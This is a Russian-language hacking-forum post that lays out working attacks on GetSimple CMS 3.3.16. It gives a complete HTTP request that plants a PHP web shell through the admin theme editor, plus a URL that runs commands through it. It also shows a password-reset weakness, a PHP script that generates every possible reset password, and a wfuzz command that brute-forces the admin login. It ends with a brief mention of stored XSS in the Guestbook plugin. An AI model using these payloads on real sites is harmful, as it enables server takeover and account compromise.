GetSimple CMS

Discussion in 'Веб-уязвимости' started by Baskin-Robbins, 24 May 2021.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    Сайт - get-simple.info
    Версия 3.3.16


    RCE

    Зависимости:
    -- доступ в админ панель

    Легальная возможность редактирования php файлов шаблонов, создания новых файлов.
    Можно внедрить наш бэкдор в используемый файл шаблона или залить свой скрипт.

    admin/theme-edit.php
    PHP:
    if((isset($_POST['submitsave']))){
     
       
    # check for csrf
       
    if (!defined('GSNOCSRF') || (GSNOCSRF == FALSE) ) {
           
    $nonce $_POST['nonce'];
           if(!
    check_nonce($nonce"save")) {
               die(
    "CSRF detected!");
           }
       }
     
       
    # save edited template file
       
    $SavedFile $_POST['edited_file'];
       
    $FileContents get_magic_quotes_gpc() ? stripslashes($_POST['content']) : $_POST['content']; 
       
    $fh fopen(GSTHEMESPATH $SavedFile'w') or die("can't open file");
       
    fwrite($fh$FileContents);
       
    fclose($fh);
       
    $success sprintf(i18n_r('TEMPLATE_FILE'), $SavedFile);
    }

    Запрос:
    Code:
    POST /admin/theme-edit.php?t=Innovation&f=template.php HTTP/1.1
    Host: getsimple.localhost.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://getsimple.localhost.com/admin/theme-edit.php
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 163
    DNT: 1
    Connection: close
    Cookie: PHPSESSID=9l7pual53vbi1opd9meggoc27a; GS_ADMIN_USERNAME=admin; 5a061daedaddfec9e0820c8dce27a6de1c13955d=116ff4110b64f75d4aff43dc1e8d03994ca2205c
    Upgrade-Insecure-Requests: 1
    Sec-GPC: 1
    
    nonce=d6905d38e91254022db24285cdd5598b82a0376f&content=%3C%3Fphp+echo+shell_exec($_GET['a']);+%3F%3E&edited_file=Innovation%2Ftemplate1.php&submitsave=Save+Changes
    
    Code:
    http://getsimple.localhost.com/theme/Innovation/template1.php?a=ls
    

    Auth bypass

    Зависимости:
    -- Необходимо знать/угадать логин админа

    Восстанавливаем пароль -> брутим его. Пароль будет всегда в нашем списке из 1кк.
    Более подробно - https://forum.antichat.ru/threads/483845/

    Уязвимый код:
    admin/resetpassword.php
    PHP:
               if(strtolower($_POST['username']) == $USR) {
                   
    # create new random password
                   
    $random createRandomPassword();
                   
    // $random = '1234';
                 
                   # create backup
                   
    createBak($fileGSUSERSPATHGSBACKUSERSPATH);
                 
                   
    # create password change trigger file
                   
    $flagfile GSUSERSPATH _id($USR).".xml.reset";
                   
    copy(GSUSERSPATH $file$flagfile);
                 
                   
    # change password and resave xml file
                   
    $data->PWD passhash($random);
                   
    $status XMLsave($dataGSUSERSPATH $file);
                 
                   
    # send the email with the new password
                   
    $subject $site_full_name .' 'i18n_r('RESET_PASSWORD') .' 'i18n_r('ATTEMPT');
                   
    $message "<p>"cl($SITENAME) ." "i18n_r('RESET_PASSWORD') ." "i18n_r('ATTEMPT').'</p>';
                   
    $message .= "<p>"i18n_r('LABEL_USERNAME').": <strong>"$USR."</strong>";
                   
    $message .= "<br>"i18n_r('NEW_PASSWORD').": <strong>"$random."</strong>";
                   
    $message .= '<br>'i18n_r('EMAIL_LOGIN') .': <a href="'.$SITEURL $GSADMIN.'/">'.$SITEURL $GSADMIN.'/</a></p>';
                   
    exec_action('resetpw-success');
                   
    $status sendmail($EMAIL,$subject,$message);

    admin/inc/template_functions.php
    PHP:
    function createRandomPassword() {
        
    $chars "Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789";
        
    srand((double)microtime()*1000000);
        
    $i 0;
        
    $pass '' ;
        while (
    $i <= 5) {
            
    $num rand() % 33;
            
    $tmp substr($chars$num1);
            
    $pass $pass $tmp;
            
    $i++;
        }
        return 
    $pass;
    }

    Генерируем список паролей:
    PHP:
    $chars "Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789";
    for(
    $i 0;$i <= 999999$i++){
       
    srand($i);
        
    $n 0;
        
    $pass '';
        while (
    $n <= 5) {
            
    $num rand() % 33;
            
    $tmp substr($chars$num1);
            
    $pass $pass $tmp;
            
    $n++;
        }
        echo 
    "$pass<br>\n";
    }
    Локально wfuzz полностью весь диапозон у меня заняло около 50 минут,
    т.е. в среднем 25 минут на один пароль.

    Code:
    wfuzz -w '/var/www/ttt3.txt' --hc 200 -d "userid=admin&pwd=FUZZ&submitted=Login" http://getsimple.localhost.com/admin/index.php
    

    Stored XSS в плагине Guestbook


    Сайт - get-simple.info/extend/plugin/guestbook/184/
    Версия 4.5.6

    4 по популярности плагин для этой cms. Плагин подходит для текущей версии,
    но является устаревшим - об этом предупреждают на странице(и немножко странным).

    GS_GB.png


    Снаружи все это выглядит вот так:
    GS_xss.png
     
    #1 Baskin-Robbins, 24 May 2021
    Last edited: 24 May 2021